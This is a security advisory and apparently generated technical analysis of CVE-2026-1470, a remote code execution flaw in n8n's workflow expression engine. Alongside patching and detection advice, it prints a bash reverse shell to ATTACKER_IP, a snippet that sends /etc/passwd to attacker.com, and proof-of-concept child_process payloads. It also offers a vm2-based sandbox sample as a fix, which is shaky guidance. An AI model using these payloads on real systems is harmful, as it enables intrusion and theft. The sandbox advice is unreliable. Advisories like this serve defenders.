CVE-2026-1470
CVE-2026-1470
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- Low
- User Interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
n8n contains a critical Remote Code Execution (RCE) vulnerability in its workflow Expression evaluation system. Expressions supplied by authenticated users during workflow configuration may be evaluated in an execution context that is not sufficiently isolated from the underlying runtime. An authenticated attacker could abuse this behavior to execute arbitrary code with the privileges of the n8n process. Successful exploitation may lead to full compromise of the affected instance, including unauthorized access to sensitive data, modification of workflows, and execution of system-level operations.
Comprehensive Technical Analysis of CVE-2026-1470 (n8n Remote Code Execution Vulnerability)
1. Vulnerability Assessment and Severity Evaluation
CVE ID: CVE-2026-1470 CVSS Score: 9.9 (Critical) – AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Vulnerability Type: Remote Code Execution (RCE) via Improper Expression Evaluation Affected Component: n8n workflow Expression evaluation system
Severity Breakdown (CVSS v3.1)
| Metric | Value | Explanation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely over the network. |
| Attack Complexity (AC) | Low (L) | No specialized conditions required. |
| Privileges Required (PR) | Low (L) | Attacker requires authenticated access (e.g., workflow editor). |
| User Interaction (UI) | None (N) | No user interaction needed. |
| Scope (S) | Changed (C) | Exploitation affects components beyond the vulnerable system (e.g., host OS). |
| Confidentiality (C) | High (H) | Full access to sensitive data (workflows, credentials, system files). |
| Integrity (I) | High (H) | Arbitrary code execution allows modification of workflows, data, and system files. |
| Availability (A) | High (H) | Potential for denial-of-service (DoS) or complete system takeover. |
Risk Assessment
- Exploitability: High – The vulnerability is trivially exploitable by authenticated users with workflow editing privileges.
- Impact: Critical – Successful exploitation grants full control over the n8n instance and potentially the underlying host.
- Likelihood of Exploitation: High – Given the low attack complexity and high impact, this vulnerability is highly attractive to attackers, including:
- Insider threats (malicious employees, compromised accounts).
- External attackers who gain access via phishing or credential stuffing.
- Supply chain attackers targeting n8n integrations.
2. Potential Attack Vectors and Exploitation Methods
Root Cause Analysis
The vulnerability stems from insufficient sandboxing in n8n’s expression evaluation engine. When users define workflow expressions (e.g., in Function Nodes or Expression Fields), the system evaluates them in a context that allows arbitrary JavaScript execution with the privileges of the n8n process.
Exploitation Steps
-
Authentication & Workflow Access
- Attacker gains access to an n8n instance (e.g., via stolen credentials, phishing, or misconfigured access controls).
- Requires write permissions to create or modify workflows.
-
Malicious Expression Injection
- Attacker crafts a malicious expression in a workflow node (e.g., Function Node, Set Node, or Webhook Node).
- Example payload (JavaScript RCE):
// Malicious expression in a Function Node const { exec } = require('child_process'); exec('id', (error, stdout) => { console.log(stdout); });- Alternatively, reverse shell payloads can be embedded:
require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');
- Alternatively, reverse shell payloads can be embedded:
-
Triggering the Payload
- The expression is evaluated when the workflow executes (manually or via a trigger).
- If the workflow is automated (e.g., via a webhook or schedule), exploitation can occur without further interaction.
-
Post-Exploitation
- Lateral Movement: Attacker may pivot to other systems if n8n has network access.
- Data Exfiltration: Sensitive workflow data, credentials, and environment variables can be stolen.
- Persistence: Attacker may modify workflows to maintain access or deploy backdoors.
Proof-of-Concept (PoC) Exploitation
A minimal PoC could involve:
- Creating a Function Node with the following expression:
const fs = require('fs'); fs.writeFileSync('/tmp/pwned', 'RCE achieved'); - Executing the workflow to verify file creation (
/tmp/pwned).
3. Affected Systems and Software Versions
Vulnerable Software
- n8n (all versions prior to the patched release).
- Deployment Models:
- Self-hosted (Docker, bare-metal, Kubernetes).
- Cloud-hosted (if expression evaluation is exposed to users).
Patch Status
- Fixed in: n8n commit
aa4d1e5825829182afa0ad5b81f602638f55fa04 - Mitigation: Upgrade to the latest patched version.
Indicators of Compromise (IoCs)
- Logs:
- Unusual child_process.exec or require() calls in workflow execution logs.
- Unexpected outbound network connections from the n8n process.
- Filesystem:
- Suspicious files in
/tmp/or other writable directories. - Modified workflow JSON files (
.n8n/workflows/).
- Suspicious files in
4. Recommended Mitigation Strategies
Immediate Actions
-
Apply the Patch
- Upgrade to the latest n8n version containing the fix (
aa4d1e58or later). - If unable to patch, disable expression evaluation in workflows (if possible).
- Upgrade to the latest n8n version containing the fix (
-
Restrict Workflow Permissions
- Least Privilege Principle: Limit workflow editing to trusted users only.
- Role-Based Access Control (RBAC): Ensure users have only the necessary permissions.
- Disable Unused Nodes: Remove or restrict access to Function Nodes if not required.
-
Network-Level Protections
- Isolate n8n Instances: Deploy in a DMZ or private subnet with strict firewall rules.
- Rate Limiting: Prevent brute-force attacks on authentication endpoints.
- Web Application Firewall (WAF): Block known malicious payloads (e.g.,
child_process,exec,require).
-
Monitoring & Detection
- Log Workflow Executions: Monitor for suspicious expressions (e.g.,
exec,spawn,require). - File Integrity Monitoring (FIM): Detect unauthorized changes to workflow files.
- Endpoint Detection & Response (EDR): Monitor n8n process behavior for anomalous activity.
- Log Workflow Executions: Monitor for suspicious expressions (e.g.,
-
Temporary Workarounds (If Patching is Delayed)
- Disable JavaScript Expressions: Enforce strict input validation in workflows.
- Sandboxing: Run n8n in a container with restricted capabilities (e.g.,
--read-only,--no-new-privileges). - Reverse Proxy Rules: Block requests containing known malicious patterns.
5. Impact on the Cybersecurity Landscape
Broader Implications
-
Supply Chain Risks
- n8n is widely used for automation, CI/CD, and DevOps workflows, making it a high-value target for attackers.
- Compromised n8n instances could be used to pivot into internal networks or exfiltrate sensitive data.
-
Increased Attack Surface for Low-Code Platforms
- Similar vulnerabilities may exist in other low-code/no-code platforms (e.g., Zapier, Make, Node-RED) due to expression evaluation flaws.
- Organizations should audit all automation tools for similar risks.
-
Insider Threat Amplification
- Authenticated users with minimal privileges can escalate to full RCE, increasing the risk of malicious insiders.
-
Regulatory & Compliance Risks
- GDPR, HIPAA, SOC 2: Unauthorized access to sensitive data may result in legal penalties.
- PCI DSS: If n8n processes payment data, this could lead to non-compliance.
Historical Context
- Similar vulnerabilities have been found in:
- Node-RED (CVE-2021-3222, RCE via expression injection).
- Jenkins (CVE-2019-1003000, Groovy script RCE).
- Apache Airflow (CVE-2020-17526, RCE via Jinja templates).
- This highlights a recurring pattern in workflow automation tools where user-supplied expressions are not properly sandboxed.
6. Technical Details for Security Professionals
Vulnerability Mechanics
-
Expression Evaluation Context:
- n8n uses a JavaScript-based expression engine to evaluate dynamic workflow logic.
- Prior to the patch, expressions were evaluated in a Node.js VM context with insufficient isolation, allowing access to dangerous modules (
child_process,fs,net, etc.).
-
Sandbox Escape:
- The vulnerability allows bypassing VM sandboxing by leveraging Node.js’s
require()to load arbitrary modules. - Example:
// Malicious expression that escapes the sandbox const { exec } = require('child_process'); exec('whoami', (err, stdout) => { console.log(stdout); });
- The vulnerability allows bypassing VM sandboxing by leveraging Node.js’s
Exploitation Requirements
| Requirement | Details |
|---|---|
| Authentication | Attacker must have write access to workflows. |
| Trigger Mechanism | Workflow must be executed (manually or via trigger). |
| Payload Delivery | Malicious expression is embedded in a Function Node, Set Node, or Webhook Node. |
| Execution Context | Runs with the privileges of the n8n process (e.g., node user). |
Post-Exploitation Techniques
- Reverse Shell Establishment
require('child_process').exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'); - Data Exfiltration
const fs = require('fs'); const data = fs.readFileSync('/etc/passwd'); require('https').request({ hostname: 'attacker.com', path: '/exfil?data=' + encodeURIComponent(data.toString()), method: 'GET' }).end(); - Persistence via Workflow Modification
- Attacker can modify existing workflows to include backdoors or exfiltration triggers.
Detection & Forensics
- Log Analysis:
- Check n8n logs for unusual
child_processorrequirecalls. - Look for unexpected outbound connections from the n8n process.
- Check n8n logs for unusual
- Memory Forensics:
- Use Volatility or Rekall to analyze the n8n process for injected payloads.
- File System Analysis:
- Search for unauthorized files in
/tmp/or workflow directories.
- Search for unauthorized files in
Defensive Coding Practices (For Developers)
- Sandboxing:
- Use VM2 or isolated VM contexts with strict module whitelisting.
- Example:
const { VM } = require('vm2'); const vm = new VM({ sandbox: {}, require: { external: false, // Block all require() calls }, }); vm.run('safeExpression');
- Input Validation:
- Block dangerous keywords (
exec,spawn,require,eval). - Use allowlists for permitted expressions.
- Block dangerous keywords (
- Least Privilege Execution:
- Run n8n in a container with minimal capabilities (e.g.,
--cap-drop=ALL).
- Run n8n in a container with minimal capabilities (e.g.,
Conclusion
CVE-2026-1470 represents a critical RCE vulnerability in n8n’s expression evaluation system, allowing authenticated attackers to execute arbitrary code with the privileges of the n8n process. Given its high severity (CVSS 9.9) and low exploitation complexity, organizations must patch immediately, restrict workflow permissions, and implement robust monitoring to detect and prevent exploitation.
This vulnerability underscores the importance of sandboxing in automation tools and serves as a reminder to audit all low-code platforms for similar risks. Security teams should prioritize this patch alongside network segmentation, logging, and access controls to mitigate potential breaches.
Recommended Next Steps
- Patch n8n to the latest version.
- Audit workflow permissions and enforce least privilege.
- Monitor for exploitation attempts in logs.
- Review other automation tools for similar vulnerabilities.
- Conduct a post-patch assessment to ensure no backdoors remain.
For further details, refer to: